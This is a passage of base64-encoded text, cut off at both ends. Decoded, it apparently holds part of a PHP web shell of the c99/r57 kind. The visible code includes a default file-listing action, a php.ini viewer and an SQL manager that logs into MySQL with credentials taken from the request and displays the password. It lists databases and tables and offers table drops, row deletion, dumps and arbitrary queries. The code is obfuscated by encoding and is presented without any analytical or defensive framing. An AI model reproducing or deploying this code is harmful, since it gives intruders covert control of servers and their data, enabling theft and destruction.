BlPXN1Ym1pdCB2YWx1ZT0iR28iPg0KPC9mb3JtPg0KPC90ZD48L3RyPjwvdGFibGU+DQo8P3BocA0KZWNobyAiPHRhYmxlIGlkPW1haW5pbmZvPjx0cj48dGQgd2lkdGg9XCIxMDAlXCI+XG4iOw0KaWYgKCR4ID09ICIiKSB7ICR4ID0gJGRzcGFjdCA9ICJscyI7IH0NCmlmICgkeCA9PSAicGhwaW5pIiApIHsgZ2V0X3BocGluaSgpOyB9DQppZiAoJHggPT0gInNxbCIpIHsNCiAgJHNxbF9zdXJsID0gJHN1cmwuIng9c3FsIjsNCiAgaWYgKCRzcWxfbG9naW4pICB7JHNxbF9zdXJsIC49ICImc3FsX2xvZ2luPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKTt9DQogIGlmICgkc3FsX3Bhc3N3ZCkgeyRzcWxfc3VybCAuPSAiJnNxbF9wYXNzd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKTt9DQogIGlmICgkc3FsX3NlcnZlcikgeyRzcWxfc3VybCAuPSAiJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKTt9DQogIGlmICgkc3FsX3BvcnQpICAgeyRzcWxfc3VybCAuPSAiJnNxbF9wb3J0PSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpO30NCiAgaWYgKCRzcWxfZGIpICAgICB7JHNxbF9zdXJsIC49ICImc3FsX2RiPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKTt9DQogICRzcWxfc3VybCAuPSAiJiI7DQogIGVjaG8gIjx0YWJsZT4iLg0KICAgICAgICI8dHI+PHRkIHdpZHRoPVwiMTAwJVwiIGNvbHNwYW49MiBjbGFzcz1iYXJoZWFkZXI+IjsNCiAgaWYgKCRzcWxfc2VydmVyKSB7DQogICAgJHNxbF9zb2NrID0gbXlzcWxfY29ubmVjdCgkc3FsX3NlcnZlci4iOiIuJHNxbF9wb3J0LCAkc3FsX2xvZ2luLCAkc3FsX3Bhc3N3ZCk7DQogICAgJGVyciA9IG15c3FsX3NtYXJ0ZXJyb3IoKTsNCiAgICBAbXlzcWxfc2VsZWN0X2RiKCRzcWxfZGIsJHNxbF9zb2NrKTsNCiAgICBpZiAoJHNxbF9xdWVyeSBhbmQgJHN1Ym1pdCkgeyRzcWxfcXVlcnlfcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHNxbF9xdWVyeSwkc3FsX3NvY2spOyAkc3FsX3F1ZXJ5X2Vycm9yID0gbXlzcWxfc21hcnRlcnJvcigpO30NCiAgfQ0KICBlbHNlIHskc3FsX3NvY2sgPSBGQUxTRTt9DQogIGVjaG8gIlsgU1FMIE1hbmFnZXIgXTxicj4iOw0KICBpZiAoISRzcWxfc29jaykgew0KICAgIGlmICghJHNxbF9zZXJ2ZXIpIHtlY2hvICJOTyBDT05ORUNUSU9OIjt9DQogICAgZWxzZSB7ZWNobyAiQ2FuJ3QgY29ubmVjdCEgIi4kZXJyO30NCiAgfQ0KICBlbHNlIHsNCiAgICAkc3FscXVpY2tsYXVuY2ggPSBhcnJheSgpOw0KICAgICRzcWxxdWlja2xhdW5jaFtdID0gYXJyYXkoIkluZGV4Iiwkc3VybC4ieD1zcWwmc3FsX2xvZ2luPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJnNxbF9wYXNzd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJnNxbF9wb3J0PSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiImIik7DQogICAgJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJheSgiUXVlcnkiLCRzcWxfc3VybC4ic3FsX3g9cXVlcnkmc3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkpOw0KICAgICRzcWxxdWlja2xhdW5jaFtdID0gYXJyYXkoIlNlcnZlci1zdGF0dXMiLCRzdXJsLiJ4PXNxbCZzcWxfbG9naW49Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiImc3FsX3Bhc3N3ZD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiImc3FsX3NlcnZlcj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiImc3FsX3BvcnQ9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIiZzcWxfeD1zZXJ2ZXJzdGF0dXMiKTsNCiAgICAkc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJTZXJ2ZXIgdmFyaWFibGVzIiwkc3VybC4ieD1zcWwmc3FsX2xvZ2luPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJnNxbF9wYXNzd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJnNxbF9wb3J0PSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiImc3FsX3g9c2VydmVydmFycyIpOw0KICAgICRzcWxxdWlja2xhdW5jaFtdID0gYXJyYXkoIlByb2Nlc3NlcyIsJHN1cmwuIng9c3FsJnNxbF9sb2dpbj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIiZzcWxfc2VydmVyPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIiZzcWxfcG9ydD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iJnNxbF94PXByb2Nlc3NlcyIpOw0KICAgICRzcWxxdWlja2xhdW5jaFtdID0gYXJyYXkoIkxvZ291dCIsJHN1cmwuIng9c3FsIik7DQogICAgZWNobyAiTXlTUUwgIi5teXNxbF9nZXRfc2VydmVyX2luZm8oKS4iIChwcm90byB2LiIubXlzcWxfZ2V0X3Byb3RvX2luZm8gKCkuIikgcnVubmluZyBpbiAiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiI6Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIiBhcyAiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIkAiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiIgKHBhc3N3b3JkIC0gXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiJcIik8YnI+IjsNCiAgICBpZiAoY291bnQoJHNxbHF1aWNrbGF1bmNoKSA+IDApIHtmb3JlYWNoKCRzcWxxdWlja2xhdW5jaCBhcyAkaXRlbSkge2VjaG8gIlsgPGEgaHJlZj1cIiIuJGl0ZW1bMV0uIlwiPiIuJGl0ZW1bMF0uIjwvYT4gXSAiO319DQogIH0NCiAgZWNobyAiPC90ZD48L3RyPjx0cj4iOw0KICBpZiAoISRzcWxfc29jaykgew0KICAgIGVjaG8gIjx0ZCB3aWR0aD1cIjI4JVwiIGhlaWdodD1cIjEwMFwiIHZhbGlnbj1cInRvcFwiPjxsaT5JZiBsb2dpbiBpcyBudWxsLCBsb2dpbiBpcyBvd25lciBvZiBwcm9jZXNzLjxsaT5JZiBob3N0IGlzIG51bGwsIGhvc3QgaXMgbG9jYWxob3N0PC9iPjxsaT5JZiBwb3J0IGlzIG51bGwsIHBvcnQgaXMgMzMwNiAoZGVmYXVsdCk8L3RkPjx0ZCB3aWR0aD1cIjkwJVwiIGhlaWdodD0xIHZhbGlnbj1cInRvcFwiPiI7DQogICAgZWNobyAiPHRhYmxlIHdpZHRoPVwiMTAwJVwiIGJvcmRlcj0wPjx0cj48dGQ+PGI+UGxlYXNlLCBmaWxsIHRoZSBmb3JtOjwvYj48dGFibGU+PHRyPjx0ZD48Yj5Vc2VybmFtZTwvYj48L3RkPjx0ZD48Yj5QYXNzd29yZDwvYj48L3RkPjx0ZD48Yj5EYXRhYmFzZTwvYj48L3RkPjwvdHI+PGZvcm0gYWN0aW9uPVwiICRzdXJsIFwiIG1ldGhvZD1cIlBPU1RcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ4XCIgdmFsdWU9XCJzcWxcIj48dHI+PHRkPjxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfbG9naW5cIiB2YWx1ZT1cInJvb3RcIiBtYXhsZW5ndGg9XCI2NFwiPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPVwicGFzc3dvcmRcIiBuYW1lPVwic3FsX3Bhc3N3ZFwiIHZhbHVlPVwiXCIgbWF4bGVuZ3RoPVwiNjRcIj48L3RkPjx0ZD48aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX2RiXCIgdmFsdWU9XCJcIiBtYXhsZW5ndGg9XCI2NFwiPjwvdGQ+PC90cj48dHI+PHRkPjxiPkhvc3Q8L2I+PC90ZD48dGQ+PGI+UE9SVDwvYj48L3RkPjwvdHI+PHRyPjx0ZCBhbGlnbj1yaWdodD48aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX3NlcnZlclwiIHZhbHVlPVwibG9jYWxob3N0XCIgbWF4bGVuZ3RoPVwiNjRcIj48L3RkPjx0ZD48aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX3BvcnRcIiB2YWx1ZT1cIjMzMDZcIiBtYXhsZW5ndGg9XCI2XCIgc2l6ZT1cIjNcIj48L3RkPjx0ZD48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiQ29ubmVjdFwiPjwvdGQ+PC90cj48dHI+PHRkPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT48L3RkPiI7DQogIH0NCiAgZWxzZSB7DQogICAgaWYgKCFlbXB0eSgkc3FsX2RiKSkgew0KICAgICAgPz48dGQgd2lkdGg9IjI1JSIgaGVpZ2h0PSIxMDAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iPD9waHAgZWNobyAkc3VybC4ieD1zcWwmc3FsX2xvZ2luPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJnNxbF9wYXNzd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJnNxbF9wb3J0PSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiImIjsgPz4iPjxiPkhvbWU8L2I+PC9hPjxociBzaXplPSIxIiBub3NoYWRlPg0KICAgICAgPD9waHANCiAgICAgICRyZXN1bHQgPSBteXNxbF9saXN0X3RhYmxlcygkc3FsX2RiKTsNCiAgICAgIGlmICghJHJlc3VsdCkge2VjaG8gbXlzcWxfc21hcnRlcnJvcigpO30NCiAgICAgIGVsc2Ugew0KICAgICAgICBlY2hvICItLS1bIDxhIGhyZWY9XCIiLiRzcWxfc3VybC4iJlwiPjxiPiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iPC9iPjwvYT4gXS0tLTxicj4iOw0KICAgICAgICAkYyA9IDA7DQogICAgICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHskY291bnQgPSBteXNxbF9xdWVyeSAoIlNFTEVDVCBDT1VOVCgqKSBGUk9NICIuJHJvd1swXSk7ICRjb3VudF9yb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkY291bnQpOyBlY2hvICI8Yj4rJm5ic3A7PGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfZGI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpLiImc3FsX3RibD0iLmh0bWxzcGVjaWFsY2hhcnMoJHJvd1swXSkuIlwiPjxiPiIuaHRtbHNwZWNpYWxjaGFycygkcm93WzBdKS4iPC9iPjwvYT4gKCIuJGNvdW50X3Jvd1swXS4iKTwvYnI+PC9iPiI7IG15c3FsX2ZyZWVfcmVzdWx0KCRjb3VudCk7ICRjKys7fQ0KICAgICAgICBpZiAoISRjKSB7ZWNobyAiTm8gdGFibGVzIGZvdW5kIGluIGRhdGFiYXNlLiI7fQ0KICAgICAgfQ0KICAgIH0NCiAgICBlbHNlIHsNCiAgICAgID8+PHRkIHdpZHRoPSIxIiBoZWlnaHQ9IjEwMCIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9Ijw/cGhwIGVjaG8gJHNxbF9zdXJsOyA/PiI+PGI+SG9tZTwvYj48L2E+PGhyIHNpemU9IjEiIG5vc2hhZGU+DQogICAgICA8P3BocA0KICAgICAgJHJlc3VsdCA9IG15c3FsX2xpc3RfZGJzKCRzcWxfc29jayk7DQogICAgICBpZiAoISRyZXN1bHQpIHtlY2hvIG15c3FsX3NtYXJ0ZXJyb3IoKTt9DQogICAgICBlbHNlIHsNCiAgICAgICAgPz48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ4IiB2YWx1ZT0ic3FsIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfbG9naW4iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcGFzc3dkIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9zZXJ2ZXIiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3BvcnQiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KTsgPz4iPjxzZWxlY3QgbmFtZT0ic3FsX2RiIj4NCiAgICAgICAgPD9waHANCiAgICAgICAgJGMgPSAwOw0KICAgICAgICAkZGJzID0gIiI7DQogICAgICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfcm93KCRyZXN1bHQpKSB7JGRicyAuPSAiPG9wdGlvbiB2YWx1ZT1cIiIuJHJvd1swXS4iXCIiOyBpZiAoJHNxbF9kYiA9PSAkcm93WzBdKSB7JGRicyAuPSAiIHNlbGVjdGVkIjt9ICRkYnMgLj0gIj4iLiRyb3dbMF0uIjwvb3B0aW9uPiI7ICRjKys7fQ0KICAgICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwiXCI+RGF0YWJhc2VzICgiLiRjLiIpPC9vcHRpb24+IjsNCiAgICAgICAgZWNobyAkZGJzOw0KICAgICAgfQ0KICAgICAgPz48L3NlbGVjdD48aHIgc2l6ZT0iMSIgbm9zaGFkZT5QbGVhc2UsIHNlbGVjdCBkYXRhYmFzZTxociBzaXplPSIxIiBub3NoYWRlPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJHbyI+PC9mb3JtPg0KICAgICAgPD9waHANCiAgICB9DQogICAgZWNobyAiPC90ZD48dGQgd2lkdGg9XCIxMDAlXCI+IjsNCiAgICAkZGlwbGF5ID0gVFJVRTsNCiAgICBpZiAoJHNxbF9kYikgew0KICAgICAgaWYgKCFpc19udW1lcmljKCRjKSkgeyRjID0gMDt9DQogICAgICBpZiAoJGMgPT0gMCkgeyRjID0gIm5vIjt9DQogICAgICBlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPjxjZW50ZXI+PGI+VGhlcmUgYXJlICIuJGMuIiB0YWJsZShzKSBpbiB0aGlzIERCICgiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYikuIikuPGJyPiI7DQogICAgICBpZiAoY291bnQoJGRicXVpY2tsYXVuY2gpID4gMCkge2ZvcmVhY2goJGRic3FscXVpY2tsYXVuY2ggYXMgJGl0ZW0pIHtlY2hvICJbIDxhIGhyZWY9XCIiLiRpdGVtWzFdLiJcIj4iLiRpdGVtWzBdLiI8L2E+IF0gIjt9fQ0KICAgICAgZWNobyAiPC9iPjwvY2VudGVyPiI7DQogICAgICAkYWN0cyA9IGFycmF5KCIiLCJkdW1wIik7DQogICAgICBpZiAoJHNxbF94ID09ICJ0Ymxkcm9wIikgeyRzcWxfcXVlcnkgPSAiRFJPUCBUQUJMRSI7IGZvcmVhY2goJGJveHRibCBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIlxuYCIuJHYuImAgLCI7fSAkc3FsX3F1ZXJ5ID0gc3Vic3RyKCRzcWxfcXVlcnksMCwtMSkuIjsiOyAkc3FsX3ggPSAicXVlcnkiO30NCiAgICAgIGVsc2VpZiAoJHNxbF94ID09ICJ0YmxlbXB0eSIpIHskc3FsX3F1ZXJ5ID0gIiI7IGZvcmVhY2goJGJveHRibCBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIkRFTEVURSBGUk9NIGAiLiR2LiJgIFxuIjt9ICRzcWxfeCA9ICJxdWVyeSI7fQ0KICAgICAgZWxzZWlmICgkc3FsX3ggPT0gInRibGR1bXAiKSB7aWYgKGNvdW50KCRib3h0YmwpID4gMCkgeyRkbXB0YmxzID0gJGJveHRibDt9IGVsc2VpZigkdGhpc3RibCkgeyRkbXB0YmxzID0gYXJyYXkoJHNxbF90YmwpO30gJHNxbF94ID0gImR1bXAiO30NCiAgICAgIGVsc2VpZiAoJHNxbF94ID09ICJ0YmxjaGVjayIpIHskc3FsX3F1ZXJ5ID0gIkNIRUNLIFRBQkxFIjsgZm9yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiXG5gIi4kdi4iYCAsIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKS4iOyI7ICRzcWxfeCA9ICJxdWVyeSI7fQ0KICAgICAgZWxzZWlmICgkc3FsX3ggPT0gInRibG9wdGltaXplIikgeyRzcWxfcXVlcnkgPSAiT1BUSU1JWkUgVEFCTEUiOyBmb3JlYWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJcbmAiLiR2LiJgICwiO30gJHNxbF9xdWVyeSA9IHN1YnN0cigkc3FsX3F1ZXJ5LDAsLTEpLiI7IjsgJHNxbF94ID0gInF1ZXJ5Ijt9DQogICAgICBlbHNlaWYgKCRzcWxfeCA9PSAidGJscmVwYWlyIikgeyRzcWxfcXVlcnkgPSAiUkVQQUlSIFRBQkxFIjsgZm9yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiXG5gIi4kdi4iYCAsIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKS4iOyI7ICRzcWxfeCA9ICJxdWVyeSI7fQ0KICAgICAgZWxzZWlmICgkc3FsX3ggPT0gInRibGFuYWx5emUiKSB7JHNxbF9xdWVyeSA9ICJBTkFMWVpFIFRBQkxFIjsgZm9yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiXG5gIi4kdi4iYCAsIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKS4iOyI7ICRzcWxfeCA9ICJxdWVyeSI7fQ0KICAgICAgZWxzZWlmICgkc3FsX3ggPT0gImRlbGV0ZXJvdyIpIHskc3FsX3F1ZXJ5ID0gIiI7IGlmICghZW1wdHkoJGJveHJvd19hbGwpKSB7JHNxbF9xdWVyeSA9ICJERUxFVEUgKiBGUk9NIGAiLiRzcWxfdGJsLiJgOyI7fSBlbHNlIHtmb3JlYWNoKCRib3hyb3cgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJERUxFVEUgKiBGUk9NIGAiLiRzcWxfdGJsLiJgIFdIRVJFIi4kdi4iIExJTUlUIDE7XG4iO30gJHNxbF9xdWVyeSA9IHN1YnN0cigkc3FsX3F1ZXJ5LDAsLTEpO30gJHNxbF94ID0gInF1ZXJ5Ijt9DQogICAgICBlbHNlaWYgKCRzcWxfdGJsX3ggPT0gImluc2VydCIpIHsNCiAgICAgICAgaWYgKCRzcWxfdGJsX2luc2VydF9yYWRpbyA9PSAxKSB7DQogICAgICAgICAgJGtleXMgPSAiIjsNCiAgICAgICAgICAkYWtleXMgPSBhcnJheV9rZXlzKCRzcWxfdGJsX2luc2VydCk7DQogICAgICAgICAgZm9yZWFjaCAoJGFrZXlzIGFzICR2KSB7JGtleXMgLj0gImAiLmFkZHNsYXNoZXMoJHYpLiJgLCAiO30NCiAgICAgICAgICBpZiAoIWVtcHR5KCRrZXlzKSkgeyRrZXlzID0gc3Vic3RyKCRrZXlzLDAsc3RybGVuKCRrZXlzKS0yKTt9DQogICAgICAgICAgJHZhbHVlcyA9ICIiOw0KICAgICAgICAgICRpID0gMDsNCiAgICAgICAgICBmb3JlYWNoIChhcnJheV92YWx1ZXMoJHNxbF90YmxfaW5zZXJ0KSBhcyAkdikge2lmICgkZnVuY3QgPSAkc3FsX3RibF9pbnNlcnRfZnVuY3RzWyRha2V5c1skaV1dKSB7JHZhbHVlcyAuPSAkZnVuY3QuIiAoIjt9ICR2YWx1ZXMgLj0gIiciLmFkZHNsYXNoZXMoJHYpLiInIjsgaWYgKCRmdW5jdCkgeyR2YWx1ZXMgLj0gIikiO30gJHZhbHVlcyAuPSAiLCAiOyAkaSsrO30NCiAgICAgICAgICBpZiAoIWVtcHR5KCR2YWx1ZXMpKSB7JHZhbHVlcyA9IHN1YnN0cigkdmFsdWVzLDAsc3RybGVuKCR2YWx1ZXMpLTIpO30NCiAgICAgICAgICAkc3FsX3F1ZXJ5ID0gIklOU0VSVCBJTlRPIGAiLiRzcWxfdGJsLiJgICggIi4ka2V5cy4iICkgVkFMVUVTICggIi4kdmFsdWVzLiIgKTsiOw0KICAgICAgICAgICRzcWxfeCA9ICJxdWVyeSI7DQogICAgICAgICAgJHNxbF90YmxfeCA9ICJicm93c2UiOw0KICAgICAgICB9DQogICAgICAgIGVsc2VpZiAoJHNxbF90YmxfaW5zZXJ0X3JhZGlvID09IDIpIHsNCiAgICAgICAgICAkc2V0ID0gbXlzcWxfYnVpbGR3aGVyZSgkc3FsX3RibF9pbnNlcnQsIiwgIiwkc3FsX3RibF9pbnNlcnRfZnVuY3RzKTsNCiAgICAgICAgICAkc3FsX3F1ZXJ5ID0gIlVQREFURSBgIi4kc3FsX3RibC4iYCBTRVQgIi4kc2V0LiIgV0hFUkUgIi4kc3FsX3RibF9pbnNlcnRfcS4iIExJTUlUIDE7IjsNCiAgICAgICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHNxbF9xdWVyeSkgb3IgcHJpbnQobXlzcWxfc21hcnRlcnJvcigpKTsNCiAgICAgICAgICAkcmVzdWx0ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfQVNTT0MpOw0KICAgICAgICAgICRzcWxfeCA9ICJxdWVyeSI7DQogICAgICAgICAgJHNxbF90YmxfeCA9ICJicm93c2UiOw0KICAgICAgICB9DQogICAgICB9DQogICAgICBpZiAoJHNxbF94ID09ICJxdWVyeSIpIHsNCiAgICAgICAgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT4iOw0KICAgICAgICBpZiAoKCRzdWJtaXQpIGFuZCAoISRzcWxfcXVlcnlfcmVzdWx0KSBhbmQgKCRzcWxfY29uZmlybSkpIHtpZiAoISRzcWxfcXVlcnlfZXJyb3IpIHskc3FsX3F1ZXJ5X2Vycm9yID0gIlF1ZXJ5IHdhcyBlbXB0eSI7fSBlY2hvICI8Yj5FcnJvcjo8L2I+IDxicj4iLiRzcWxfcXVlcnlfZXJyb3IuIjxicj4iO30NCiAgICAgICAgaWYgKCRzcWxfcXVlcnlfcmVzdWx0IG9yICghJHNxbF9jb25maXJtKSkgeyRzcWxfeCA9ICRzcWxfZ290bzt9DQogICAgICAgIGlmICgoISRzdWJtaXQpIG9yICgkc3FsX3gpKSB7ZWNobyAiPHRhYmxlIGJvcmRlcj1cIjBcIiB3aWR0aD1cIjEwMCVcIiBoZWlnaHQ9XCIxXCI+PHRyPjx0ZD48Zm9ybSBhY3Rpb249XCIiLiRzcWxfc3VybC4iXCIgbWV0aG9kPVwiUE9TVFwiPjxiPiI7IGlmICgoJHNxbF9xdWVyeSkgYW5kICghJHN1Ym1pdCkpIHtlY2hvICJEbyB5b3UgcmVhbGx5IHdhbnQgdG86Ijt9IGVsc2Uge2VjaG8gIlNRTC1RdWVyeSA6Ijt9IGVjaG8gIjwvYj48YnI+PGJyPjx0ZXh0YXJlYSBuYW1lPVwic3FsX3F1ZXJ5XCIgY29scz1cIjEwMFwiIHJvd3M9XCIxMFwiPiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3F1ZXJ5KS4iPC90ZXh0YXJlYT48YnI+PGJyPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF94XCIgdmFsdWU9XCJxdWVyeVwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF90YmxcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInN1Ym1pdFwiIHZhbHVlPVwiMVwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9nb3RvXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9nb3RvKS4iXCI+PGlucHV0IHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwic3FsX2NvbmZpcm1cIiB2YWx1ZT1cIlllc1wiPiA8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiTm9cIj48L2Zvcm0+PC90ZD48L3RyPjwvdGFibGU+Ijt9DQogICAgICB9DQogICAgICBpZiAoaW5fYXJyYXkoJHNxbF94LCRhY3RzKSkgew0KICAgICAgICA/Pjx0YWJsZSBib3JkZXI9IjAiIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjEiPjx0cj48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48Yj5DcmVhdGUgbmV3IHRhYmxlOjwvYj4NCiAgICAgICAgPGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRzdXJsOyA/PiI+DQogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IngiIHZhbHVlPSJzcWwiPg0KICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfeCIgdmFsdWU9Im5ld3RibCI+DQogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9kYiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKTsgPz4iPg0KICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfbG9naW4iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbik7ID8+Ij4NCiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7ID8+Ij4NCiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik7ID8+Ij4NCiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3BvcnQiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KTsgPz4iPg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3FsX25ld3RibCIgc2l6ZT0iMjAiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQ3JlYXRlIj4NCiAgICAgICAgPC9mb3JtPjwvdGQ+DQogICAgICAgIDx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjxiPkR1bXAgREI6PC9iPg0KICAgICAgICA8Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij4NCiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ieCIgdmFsdWU9InNxbCI+DQogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF94IiB2YWx1ZT0iZHVtcCI+DQogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9kYiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKTsgPz4iPg0KICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ